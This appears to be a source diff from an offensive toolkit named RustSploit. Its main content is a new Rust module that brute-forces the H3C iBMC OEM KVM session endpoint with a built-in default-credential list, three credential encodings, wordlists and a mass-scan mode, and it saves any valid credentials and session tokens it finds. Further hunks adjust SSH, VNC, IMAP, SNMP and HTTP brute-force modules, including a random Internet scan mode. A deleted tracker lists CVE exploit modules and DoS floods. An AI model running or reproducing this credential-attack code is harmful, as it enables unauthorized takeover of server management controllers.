const DEFAULT_CREDS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "Password@_"),
|
||||
("admin", "Password@123"),
|
||||
("admin", "h3capadmin"),
|
||||
("admin", "Admin@9000"),
|
||||
("Administrator", "Admin@9000"),
|
||||
("Administrator", "Administrator"),
|
||||
("sysadmin", "superuser"),
|
||||
("root", "root"),
|
||||
("root", "calvin"),
|
||||
("operator", "operator"),
|
||||
];
|
||||
|
||||
/// Encodings the endpoint accepts. The base64 / double-base64 variants
|
||||
/// matter because legacy clients post one of these formats and the server
|
||||
/// normalises them — so a wordlist hit may only fire under a non-plain
|
||||
/// encoding when the server's password store happens to compare against
|
||||
/// that decoded form.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum Encoding {
|
||||
Plain,
|
||||
Base64,
|
||||
DoubleBase64,
|
||||
}
|
||||
|
||||
impl Encoding {
|
||||
fn label(self) -> &'static str {
|
||||
match self {
|
||||
Encoding::Plain => "plain",
|
||||
Encoding::Base64 => "b64",
|
||||
Encoding::DoubleBase64 => "b64x2",
|
||||
}
|
||||
}
|
||||
|
||||
fn encode(self, value: &str) -> String {
|
||||
match self {
|
||||
Encoding::Plain => value.to_string(),
|
||||
Encoding::Base64 => base64::engine::general_purpose::STANDARD.encode(value),
|
||||
Encoding::DoubleBase64 => {
|
||||
let once = base64::engine::general_purpose::STANDARD.encode(value);
|
||||
base64::engine::general_purpose::STANDARD.encode(once)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
|
||||
crate::mprintln!("{}", "║ H3C iBMC OEM KVM Session Brute Force ║".red().bold());
|
||||
crate::mprintln!("{}", "║ POST /api/oem_kvm/session — no rate limit on default builds║".red());
|
||||
crate::mprintln!("{}", "║ Tries plain / base64 / double-base64 credential encodings ║".red());
|
||||
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
|
||||
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "H3C iBMC OEM KVM Session Brute Force".to_string(),
|
||||
description: "Brute-forces the H3C iBMC vendor-specific KVM session login at \
|
||||
POST /api/oem_kvm/session, which has no rate limiting on default \
|
||||
firmware builds. Tests every (user, password) pair in plaintext, \
|
||||
base64, and double-base64 encodings — the endpoint silently accepts \
|
||||
all three. A successful hit yields an X-Auth-Token that grants \
|
||||
virtual-media + reboot equivalents (full host compromise)."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/".to_string(),
|
||||
"https://cwe.mitre.org/data/definitions/307.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "H3C iBMC OEM KVM",
|
||||
default_port: DEFAULT_PORT,
|
||||
state_file: "h3c_oem_kvm_mass_state.log",
|
||||
default_output: "h3c_oem_kvm_mass_results.txt",
|
||||
default_concurrency: 50,
|
||||
}, |ip, port| async move {
|
||||
let host = format!("{}:{}", ip, port);
|
||||
let client = match build_http_client_with(
|
||||
Duration::from_secs(5),
|
||||
HttpClientOpts::permissive_unconditional(),
|
||||
) {
|
||||
Ok(c) => c,
|
||||
Err(_) => return None,
|
||||
};
|
||||
for (u, p) in DEFAULT_CREDS {
|
||||
if let Some(token) = try_login(&client, &host, DEFAULT_PATH, u, p, Encoding::Plain).await {
|
||||
return Some(format!("{} {}:{} token={}\n", host, u, p, token));
|
||||
}
|
||||
}
|
||||
None
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let host_input = if normalized.is_empty() {
|
||||
return Err(anyhow!("target is required"));
|
||||
} else {
|
||||
normalized
|
||||
};
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Target port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
|
||||
let path = cfg_prompt_default("path", "API path", DEFAULT_PATH).await?;
|
||||
let timeout_secs = cfg_prompt_int_range("timeout", "Per-attempt timeout (seconds)", DEFAULT_TIMEOUT_SECS as i64, 1, 60).await? as u64;
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try the built-in default credential list?", true).await?;
|
||||
let load_user_wordlist = cfg_prompt_yes_no("user_wordlist", "Load a username wordlist?", false).await?;
|
||||
let user_path = if load_user_wordlist {
|
||||
Some(cfg_prompt_existing_file("userlist", "Path to username wordlist").await?)
|
||||
} else { None };
|
||||
let load_pass_wordlist = cfg_prompt_yes_no("pass_wordlist", "Load a password wordlist?", false).await?;
|
||||
let pass_path = if load_pass_wordlist {
|
||||
Some(cfg_prompt_existing_file("passlist", "Path to password wordlist").await?)
|
||||
} else { None };
|
||||
let try_all_encodings = cfg_prompt_yes_no("try_all_encodings", "Try plain + base64 + double-base64 for each pair?", true).await?;
|
||||
let stop_on_hit = cfg_prompt_yes_no("stop_on_hit", "Stop on first valid credential?", true).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose (log each attempt)", false).await?;
|
||||
|
||||
// Build the candidate list.
|
||||
let mut pairs: Vec<(String, String)> = Vec::new();
|
||||
if use_defaults {
|
||||
for (u, p) in DEFAULT_CREDS { pairs.push((u.to_string(), p.to_string())); }
|
||||
}
|
||||
if let (Some(ufile), Some(pfile)) = (user_path.as_ref(), pass_path.as_ref()) {
|
||||
let users = read_lines(ufile).await?;
|
||||
let passwords = read_lines(pfile).await?;
|
||||
for u in &users {
|
||||
for p in &passwords {
|
||||
pairs.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else if let Some(pfile) = pass_path.as_ref() {
|
||||
let passwords = read_lines(pfile).await?;
|
||||
let users: Vec<&str> = if user_path.is_some() {
|
||||
return Err(anyhow!("internal: user_path branch handled above"));
|
||||
} else {
|
||||
// Default to "admin" if only a password wordlist was given.
|
||||
vec!["admin"]
|
||||
};
|
||||
for u in &users {
|
||||
for p in &passwords {
|
||||
pairs.push((u.to_string(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else if let Some(ufile) = user_path.as_ref() {
|
||||
let users = read_lines(ufile).await?;
|
||||
for u in &users {
|
||||
pairs.push((u.clone(), "admin".to_string()));
|
||||
pairs.push((u.clone(), "password".to_string()));
|
||||
pairs.push((u.clone(), u.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
if pairs.is_empty() {
|
||||
return Err(anyhow!("no candidate credentials configured — pick at least defaults or a wordlist"));
|
||||
}
|
||||
|
||||
let encodings: Vec<Encoding> = if try_all_encodings {
|
||||
vec![Encoding::Plain, Encoding::Base64, Encoding::DoubleBase64]
|
||||
} else {
|
||||
vec![Encoding::Plain]
|
||||
};
|
||||
|
||||
let host = format!("{}:{}", strip_scheme(&host_input), port);
|
||||
let client = build_http_client_with(
|
||||
Duration::from_secs(timeout_secs),
|
||||
HttpClientOpts::permissive_unconditional(),
|
||||
).context("Failed to build HTTP client")?;
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Target: https://{}{} ({} pair(s) × {} encoding(s) = {} attempts)",
|
||||
host, path, pairs.len(), encodings.len(), pairs.len() * encodings.len(),
|
||||
).cyan());
|
||||
|
||||
let mut found: Vec<(String, String, Encoding, String)> = Vec::new();
|
||||
let mut tried = 0u64;
|
||||
'outer: for (user, pass) in &pairs {
|
||||
for enc in &encodings {
|
||||
tried += 1;
|
||||
if let Some(token) = try_login(&client, &host, &path, user, pass, *enc).await {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[+] HIT: {}:{} ({}) -> X-Auth-Token={}",
|
||||
user, pass, enc.label(), token
|
||||
).green().bold());
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&host, port, "https", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/h3c_oem_kvm_bruteforce",
|
||||
).await;
|
||||
found.push((user.clone(), pass.clone(), *enc, token));
|
||||
if stop_on_hit { break 'outer; }
|
||||
} else if verbose {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[-] {}:{} ({}) — denied", user, pass, enc.label()
|
||||
).dimmed());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] {} attempts; {} valid credential(s)",
|
||||
tried, found.len()
|
||||
).cyan().bold());
|
||||
|
||||
if found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid credentials found.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Single login attempt. Returns `Some(token)` on success, `None` on any
|
||||
/// kind of failure (including 429 — caller may chose to honor Retry-After,
|
||||
/// but on default builds the endpoint never returns one).
|
||||
async fn try_login(
|
||||
client: &reqwest::Client,
|
||||
host: &str,
|
||||
path: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
enc: Encoding,
|
||||
) -> Option<String> {
|
||||
let url = format!("https://{}{}", host, path);
|
||||
let form = [
|
||||
("username", enc.encode(user)),
|
||||
("password", enc.encode(pass)),
|
||||
("free_login", "1".to_string()),
|
||||
("log_type", "1".to_string()),
|
||||
];
|
||||
|
||||
let resp = client.post(&url).form(&form).send().await.ok()?;
|
||||
let status = resp.status();
|
||||
if status.as_u16() == 429 {
|
||||
if let Some(retry) = resp.headers().get("Retry-After")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.and_then(|v| v.parse::<u64>().ok())
|
||||
{
|
||||
tokio::time::sleep(Duration::from_secs(retry.min(60))).await;
|
||||
}
|
||||
return None;
|
||||
}
|
||||
if !status.is_success() {
|
||||
return None;
|
||||
}
|
||||
let body = resp.text().await.ok()?;
|
||||
if !body.contains("X-Auth-Token") {
|
||||
return None;
|
||||
}
|
||||
// Surface the token if we can extract it; otherwise mark hit with a
|
||||
// placeholder so the caller still records the credential.
|
||||
extract_token(&body).or_else(|| Some("(present)".into()))
|
||||
}
|
||||
|
||||
fn extract_token(body: &str) -> Option<String> {
|
||||
let needle = "X-Auth-Token";
|
||||
let pos = body.find(needle)?;
|
||||
let after = &body[pos + needle.len()..];
|
||||
let colon = after.find(':')?;
|
||||
let mut value_start = colon + 1;
|
||||
let bytes = after.as_bytes();
|
||||
while value_start < bytes.len() && bytes[value_start].is_ascii_whitespace() {
|
||||
value_start += 1;
|
||||
}
|
||||
if value_start >= bytes.len() { return None; }
|
||||
let rest = &after[value_start..];
|
||||
if rest.starts_with('"') {
|
||||
let val: String = rest[1..].chars().take_while(|c| *c != '"').collect();
|
||||
if val.is_empty() { None } else { Some(val) }
|
||||
} else {
|
||||
let val: String = rest.chars().take_while(|c| !c.is_whitespace() && *c != ',' && *c != '}').collect();
|
||||
if val.is_empty() { None } else { Some(val) }
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let content = tokio::fs::read_to_string(path).await
|
||||
.with_context(|| format!("read {}", path))?;
|
||||
Ok(content.lines()
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn strip_scheme(host: &str) -> String {
|
||||
let mut t = host.trim().to_string();
|
||||
for prefix in &["https://", "http://"] {
|
||||
if let Some(stripped) = t.strip_prefix(prefix) {
|
||||
t = stripped.to_string();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if let Some(slash) = t.find('/') { t.truncate(slash); }
|
||||
if let Some(colon) = t.find(':') { t.truncate(colon); }
|
||||
t
|
||||
}
|
||||
@@ -10,6 +10,7 @@ use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::network::build_http_client;
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
@@ -164,13 +165,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let base_url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
|
||||
// First check if endpoint requires Basic auth (401 response)
|
||||
let client = match reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
{
|
||||
let client = match build_http_client(Duration::from_secs(5)) {
|
||||
Ok(c) => c,
|
||||
Err(_) => return None,
|
||||
Err(e) => {
|
||||
tracing::trace!(ip = %ip, port, "HTTP basic-auth client build failed: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
|
||||
match client.get(&base_url).send().await {
|
||||
@@ -239,12 +239,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
|
||||
|
||||
let subnet_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
// build_http_client already disables redirects (its default) and
|
||||
// accepts invalid certs — same shape, one canonical builder.
|
||||
let subnet_client = Arc::new(
|
||||
build_http_client(Duration::from_secs(5))
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
@@ -371,12 +371,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let shared_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(connection_timeout))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
let shared_client = Arc::new(
|
||||
build_http_client(Duration::from_secs(connection_timeout))
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
|
||||
let try_login = move |_t: String, _p: u16, user: String, pass: String| {
|
||||
let url = base_url.clone();
|
||||
|
||||
@@ -483,7 +483,7 @@ fn attempt_imap_login(
|
||||
|
||||
if use_tls {
|
||||
let connector = TlsConnector::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.build()
|
||||
.map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod h3c_oem_kvm_bruteforce;
|
||||
pub mod http_basic_bruteforce;
|
||||
pub mod imap_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
|
||||
@@ -68,12 +68,14 @@ impl RdpSecurityLevel {
|
||||
}
|
||||
|
||||
async fn prompt_selection() -> Result<Self> {
|
||||
crate::mprintln!("\nRDP Security Level Options:");
|
||||
crate::mprintln!(" 1. Auto (let client negotiate)");
|
||||
crate::mprintln!(" 2. NLA (Network Level Authentication)");
|
||||
crate::mprintln!(" 3. TLS (Transport Layer Security)");
|
||||
crate::mprintln!(" 4. RDP (Standard RDP encryption)");
|
||||
crate::mprintln!(" 5. Negotiate (try all methods)");
|
||||
if !crate::utils::is_batch_mode() {
|
||||
crate::mprintln!("\nRDP Security Level Options:");
|
||||
crate::mprintln!(" 1. Auto (let client negotiate)");
|
||||
crate::mprintln!(" 2. NLA (Network Level Authentication)");
|
||||
crate::mprintln!(" 3. TLS (Transport Layer Security)");
|
||||
crate::mprintln!(" 4. RDP (Standard RDP encryption)");
|
||||
crate::mprintln!(" 5. Negotiate (try all methods)");
|
||||
}
|
||||
|
||||
loop {
|
||||
let input = cfg_prompt_default("security_level", "Security level", "1").await?;
|
||||
|
||||
@@ -99,7 +99,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Some(line);
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(_) => return None,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %addr, community, "SNMP try-community errored: {}", e);
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
|
||||
@@ -77,7 +77,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
&addr.parse().ok()?, std::time::Duration::from_secs(5)
|
||||
) {
|
||||
Ok(t) => t,
|
||||
Err(_) => return None,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %addr, "SSH TCP connect failed: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let mut sess = ssh2::Session::new().ok()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
@@ -96,7 +96,10 @@ fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %addr, user = username, "SSH user-enum TCP connect failed: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
@@ -104,7 +107,10 @@ fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %addr, user = username, "SSH user-enum session create failed: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use des::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||
use des::cipher::{BlockCipherEncrypt, KeyInit, array::Array};
|
||||
use des::Des;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
@@ -472,23 +472,26 @@ fn vnc_des_key(password: &str) -> [u8; 8] {
|
||||
/// Encrypt a 16-byte VNC challenge using DES ECB with the derived key.
|
||||
///
|
||||
/// The challenge is encrypted as two 8-byte blocks independently (ECB mode).
|
||||
fn vnc_des_encrypt(key: &[u8; 8], challenge: &[u8; 16]) -> [u8; 16] {
|
||||
let des_key = GenericArray::from_slice(key);
|
||||
let cipher = Des::new(des_key);
|
||||
/// Returns `Err` only if the cipher API rejects the (always 8-byte) slice
|
||||
/// — would indicate a contract violation in the `cipher` crate.
|
||||
fn vnc_des_encrypt(key: &[u8; 8], challenge: &[u8; 16]) -> Result<[u8; 16]> {
|
||||
let cipher = Des::new(key.into());
|
||||
|
||||
let mut result = [0u8; 16];
|
||||
|
||||
// Encrypt first 8-byte block
|
||||
let mut block1 = GenericArray::clone_from_slice(&challenge[0..8]);
|
||||
let mut block1: Array<u8, _> = Array::try_from(&challenge[0..8])
|
||||
.map_err(|_| anyhow!("DES block1 build from 8-byte slice failed"))?;
|
||||
cipher.encrypt_block(&mut block1);
|
||||
result[0..8].copy_from_slice(&block1);
|
||||
|
||||
// Encrypt second 8-byte block
|
||||
let mut block2 = GenericArray::clone_from_slice(&challenge[8..16]);
|
||||
let mut block2: Array<u8, _> = Array::try_from(&challenge[8..16])
|
||||
.map_err(|_| anyhow!("DES block2 build from 8-byte slice failed"))?;
|
||||
cipher.encrypt_block(&mut block2);
|
||||
result[8..16].copy_from_slice(&block2);
|
||||
|
||||
result
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
/// Parse the RFB server version string and return (major, minor).
|
||||
@@ -712,7 +715,10 @@ async fn try_vnc_auth(addr: &str, password: &str) -> VncResult {
|
||||
|
||||
// Step 5: Encrypt challenge with DES using bit-reversed password key
|
||||
let key = vnc_des_key(password);
|
||||
let response = vnc_des_encrypt(&key, &challenge);
|
||||
let response = match vnc_des_encrypt(&key, &challenge) {
|
||||
Ok(r) => r,
|
||||
Err(e) => return VncResult::ConnectionError(format!("DES encrypt failed: {}", e)),
|
||||
};
|
||||
|
||||
// Step 6: Send encrypted response
|
||||
if let Err(e) = stream.write_all(&response).await {
|
||||
|
||||
@@ -503,7 +503,7 @@ where
|
||||
"{}",
|
||||
"[*] Mode: Random Internet Scan (Ctrl+C to stop)".yellow()
|
||||
);
|
||||
let max_checks: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
let max_checks: usize = crate::tenant::resolve().global_options()
|
||||
.try_get("max_random_hosts")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(10_000_000);
|
||||
|
||||
@@ -1,140 +0,0 @@
|
||||
# Exploit Module Audit Tracker
|
||||
|
||||
Rolling per-module checklist. Update as each module is reviewed. Keep short — one row per module.
|
||||
|
||||
## Per-module checklist
|
||||
|
||||
Each module should pass all 9 (check() is centralized in `scanners/vuln_checker.rs` — not per-module):
|
||||
|
||||
1. `run()` bails early (≤2 s) when target doesn't speak the expected protocol
|
||||
2. No `.unwrap()` / `.expect()` on network-derived values
|
||||
3. All user knobs exposed via `cfg_prompt_*` (no hardcoded consts)
|
||||
4. Uses `crate::utils::tcp_connect_str` or `tcp_connect_addr` instead of raw `TcpStream::connect`
|
||||
5. Uses `crate::utils::build_http_client` / `build_http_client_with` (not raw `reqwest::Client::builder`)
|
||||
6. `references:` populated with real URLs
|
||||
7. Doc block at top of file with CVE / vendor / affected versions
|
||||
8. `ModuleRank` honest — observed reliability
|
||||
9. Loot / host / service registered in workspace on success
|
||||
|
||||
## Status legend
|
||||
|
||||
- `✅ audited` — all 10 pass
|
||||
- `🔶 partial` — listed sub-items still outstanding
|
||||
- `❌ broken` — known runtime failure; fix required
|
||||
- `⏳ pending` — not yet reviewed
|
||||
|
||||
## Progress (updated per session)
|
||||
|
||||
| Category | Audited | Total |
|
||||
|---|---|---|
|
||||
| network_infra | 0 | 30 |
|
||||
| webapps | 0 | 25 |
|
||||
| frameworks | 0 | 15 |
|
||||
| ssh | 0 | 15 |
|
||||
| routers | 0 | 25 |
|
||||
| vnc / telnet / voip / cameras | 0 | 21 |
|
||||
| dos | 0 | 12 |
|
||||
| honeytrap / snare / cowrie / dionaea / safeline | 0 | 15 |
|
||||
| crypto / ftp / ipmi / windows / bluetooth / payloadgens | 0 | 12 |
|
||||
| **Total** | **0** | **170** (excludes sample_exploit and 10 duplicates) |
|
||||
|
||||
## Session order (E1 → E10)
|
||||
|
||||
1. **E1** — network_infra CVEs (fortinet, ivanti, citrix, palo_alto, sonicwall, f5, hpe, kubernetes, commvault, vmware, trend_micro)
|
||||
2. **E2** — webapps RCE (craftcms, flowise, n8n, xwiki, roundcube, sharepoint, wordpress, sap, misp, mcpjam, dify, langflow, solarwinds, zabbix, zimbra, spotube, termix, react, vite, laravel, nextjs)
|
||||
3. **E3** — frameworks (apache_tomcat, apache_camel, jenkins, nginx, php, wsus, http2, exim, mongo)
|
||||
4. **E4** — ssh family (libssh_auth_bypass, asyncssh, paramiko ×2, erlang_otp, sshpwn ×5, libssh2_rogue_server, openssh_regresshion, opensshserver_9_8p1race)
|
||||
5. **E5** — router CVEs (tplink ×13, ruijie ×7, netgear, dlink, zte, zyxel, tenda, ubiquiti)
|
||||
6. **E6** — vnc ×13 + telnet ×1 + voip ×1 + cameras ×6
|
||||
7. **E7** — dos ×12 (flood + amplification; already gated with `require_root` in A3)
|
||||
8. **E8** — honeytrap ×2 + snare ×2 + cowrie ×3 + dionaea ×4 + safeline ×6
|
||||
9. **E9** — crypto ×2 + ftp ×2 + ipmi ×1 + windows ×1 + bluetooth ×1 + payloadgens ×5
|
||||
10. **E10** — catch-all review + regression pass
|
||||
|
||||
## Module status matrix
|
||||
|
||||
_Populate during audit. Blank = pending._
|
||||
|
||||
### network_infra/
|
||||
| Module | Status | Notes |
|
||||
|---|---|---|
|
||||
| citrix/cve_2025_5777_citrixbleed2 | ⏳ | |
|
||||
| commvault/cve_2025_34028_commvault_rce | ⏳ | reqwest migrated in B2b |
|
||||
| f5/cve_2025_53521_f5_bigip_rce | ⏳ | reqwest migrated; fire_results showed `OK_err` classification — verify |
|
||||
| fortinet/forticloud_sso_auth_bypass_cve_2026_24858 | ⏳ | batch: "Handshake failed" — likely TLS mismatch; review client config |
|
||||
| fortinet/fortigate_rce_cve_2024_21762 | ⏳ | |
|
||||
| fortinet/fortimanager_rce_cve_2024_47575 | ⏳ | |
|
||||
| fortinet/fortios_auth_bypass_cve_2022_40684 | ⏳ | |
|
||||
| fortinet/fortios_heap_overflow_cve_2023_27997 | ⏳ | batch row flagged `memcached_servers` prompt — likely fire_all_modules.py idx→module misalignment (prompt actually belongs to `exploits/dos/memcached_amplification`). Re-run batch with per-module prompt dicts to verify. |
|
||||
| fortinet/fortios_ssl_vpn_cve_2018_13379 | ⏳ | same — prompt `ntp_servers` belongs to `dos/ntp_amplification`. |
|
||||
| fortinet/fortisiem_rce_cve_2025_64155 | ⏳ | tcp_connect_str migrated |
|
||||
| fortinet/fortiweb_rce_cve_2021_22123 | ⏳ | |
|
||||
| fortinet/fortiweb_sqli_rce_cve_2025_25257 | ⏳ | |
|
||||
| hpe/cve_2025_37164_hpe_oneview_rce | ⏳ | reqwest migrated |
|
||||
| ivanti/cve_2025_0282_ivanti_preauth_rce | ⏳ | reqwest migrated |
|
||||
| ivanti/cve_2025_22457_ivanti_ics_rce | ⏳ | reqwest migrated |
|
||||
| ivanti/ivanti_connect_secure_stack_based_buffer_overflow | ⏳ | |
|
||||
| ivanti/ivanti_epmm_cve_2023_35082 | ⏳ | |
|
||||
| ivanti/ivanti_ics_auth_bypass_cve_2024_46352 | ⏳ | |
|
||||
| ivanti/ivanti_neurons_rce_cve_2025_22460 | ⏳ | |
|
||||
| kubernetes/cve_2025_1974_ingress_nginx_rce | ⏳ | reqwest migrated |
|
||||
| qnap/qnap_qts_rce_cve_2024_27130 | ⏳ | |
|
||||
| sonicwall/cve_2025_40602_sonicwall_sma_rce | ⏳ | reqwest migrated |
|
||||
| trend_micro/cve_2025_5777 | ⏳ | |
|
||||
| trend_micro/cve_2025_69258 | ⏳ | tcp_connect_str migrated |
|
||||
| trend_micro/cve_2025_69259 | ⏳ | tcp_connect_str migrated |
|
||||
| trend_micro/cve_2025_69260 | ⏳ | tcp_connect_str migrated |
|
||||
| vmware/esxi_auth_bypass_cve_2024_37085 | ⏳ | |
|
||||
| vmware/esxi_vm_escape_check | ⏳ | |
|
||||
| vmware/esxi_vsock_client | ⏳ | uses std::net blocking — audit performance |
|
||||
| vmware/vcenter_backup_rce | ⏳ | |
|
||||
| vmware/vcenter_file_read | ⏳ | uses std::fs::read_to_string — audit async |
|
||||
| vmware/vcenter_rce_cve_2024_37079 | ⏳ | |
|
||||
|
||||
_…further categories mirrored below; fill in during E2+ sessions…_
|
||||
|
||||
## Session log
|
||||
|
||||
- **Session 1** (2026-04-17): Phase A1/A2/A3 + B2a + B1 partial (14 sites) + B2b (47 sites) done. Build clean.
|
||||
- **Session 1 static-analysis**: verified via grep —
|
||||
- `.unwrap()`: 0 hits across 252 files
|
||||
- `.expect(...)`: 3 hits, all justified (`src/modules/exploits/vnc/rfb.rs`)
|
||||
- `panic!`/`todo!`/`unimplemented!`: 0 hits
|
||||
- `println!`/`eprintln!`/`print!` (MCP stdout-contaminating): 0 hits — all modules use `crate::mprintln!`/`meprintln!`
|
||||
- `std::process::Command::new`: 8 hits, all in `exploits/bluetooth/wpair.rs` calling `bluetoothctl`/`pacat`/`parecord` — legitimate for bluetooth exploitation
|
||||
- TODO/FIXME/HACK/XXX/BUG comments: 0 hits
|
||||
|
||||
## Revised Phase D1 scope
|
||||
|
||||
Actual count needing `check()`: **114 modules** total, breakdown:
|
||||
- 58 CVE-named modules (highest priority — user probes by CVE)
|
||||
- 56 non-CVE named
|
||||
|
||||
By category (category : missing-check count : CVE-named):
|
||||
- routers: 29 missing (17 CVE)
|
||||
- network_infra: 24 missing (19 CVE)
|
||||
- dos: 13 missing (0 CVE) — **defer all**: flooding == the exploit, check() is indistinguishable
|
||||
- webapps: 13 missing (9 CVE)
|
||||
- frameworks: 10 missing (7 CVE)
|
||||
- ssh: 7 missing (0 CVE)
|
||||
- cameras: 6 missing (3 CVE)
|
||||
- payloadgens: 5 missing (0 CVE) — **defer all**: no target, generates local files
|
||||
- crypto: 2 missing (1 CVE)
|
||||
- ftp / ipmi / telnet / windows: 4 missing (2 CVE)
|
||||
|
||||
**Realistic Phase D1 target: ~96 modules** (114 − 13 DoS − 5 payloadgens). Session D1a: 58 CVE-named first; Session D1b: remaining 38.
|
||||
|
||||
Template: see `CHECK_TEMPLATE.md`.
|
||||
|
||||
## Revised Phase D2 scope
|
||||
|
||||
Static-analysis found far fewer hardcoded consts than the plan's 73 estimate:
|
||||
- 10 modules: `DEFAULT_PORT` const without `cfg_prompt_port` call
|
||||
- 5 modules: `DEFAULT_PATH` / `*_PATH` const without `cfg_prompt_default("path", ...)`
|
||||
